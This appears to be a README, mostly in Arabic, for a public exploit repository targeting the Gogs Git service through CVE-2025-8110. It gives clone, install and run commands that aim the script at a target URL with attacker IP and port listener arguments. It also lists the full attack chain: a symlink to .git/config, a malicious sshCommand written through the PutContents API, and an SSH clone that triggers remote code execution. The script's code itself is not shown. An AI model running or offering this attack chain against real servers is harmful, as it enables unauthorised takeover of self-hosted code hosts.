GOGS RCE cve-2025-8110

Gogs هي خدمة Git خفيفة الوزن ومستضافة ذاتياً تشبه نسخة خاصة من GitHub، مصممة للعمل بسهولة على الخوادم منخفضة الموارد. الثغرة الأمنية CVE-2025-8110 هي عيب أمني خطير يسمح للمهاجم بتجاوز قيود المسار باستخدام الروابط الرمزية (symlinks). من خلال رفع رابط خبيث يشير إلى .api/config، يمكن للمهاجم استخدام واجهة Gogs API لتضمين ملف تكويني خبيث مع معامل sshCommand وتحقيق تنفيذ أوامر عن بعد (RCE) على الخادم المضيف.

---

---

الاستخدام

1. استنساخ هذا المستودع إلى جهازك المحلي:

git clone https://github.com/kayl22/cve-2025-8110-GOGS-RCE
cd ./cve-2025-8110-GOGS-RCE

---

2. تثبيت جميع التبعيات

pip3 install -r ./requirements.txt

---

3. تشغيل النص البرمجي

# عرض المساعدة
python3 ./cve-2025-8110.py --help

# تنفيذ سلسلة الهجوم مع خطوة التسجيل
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port>

# تنفيذ سلسلة الهجوم مع تخطي التسجيل | مفيد عندما ترجع دالة التسجيل خطأ
python3 ./cve-2025-8110.py --url http://<host> -lh <attacker-ip> -lp <attacker-port> -U <username> -P <password>

---

---

كيف يعمل

يتبع هذا النص البرمجي سلسلة هجوم تتضمن هذه الخطوات:

1. Register & authenticate a throwaway account (Register skipped if creds are provided with -U and -P flags)
2. Obtain an API bearer token
3. Create an auto-initialised repository
4. Clone the repo locally and push a relative symlink  malicious_link -> .git/config
5. PUT the malicious git config (with sshCommand) through the symlink via the PutContents API
6. Trigger the sshCommand by cloning the repo over SSH

الإسناد

تم إنشاء هذا النص البرمجي باستخدام إثبات المفهوم (PoC) الخاص بـ zAbuQasem (https://github.com/zAbuQasem)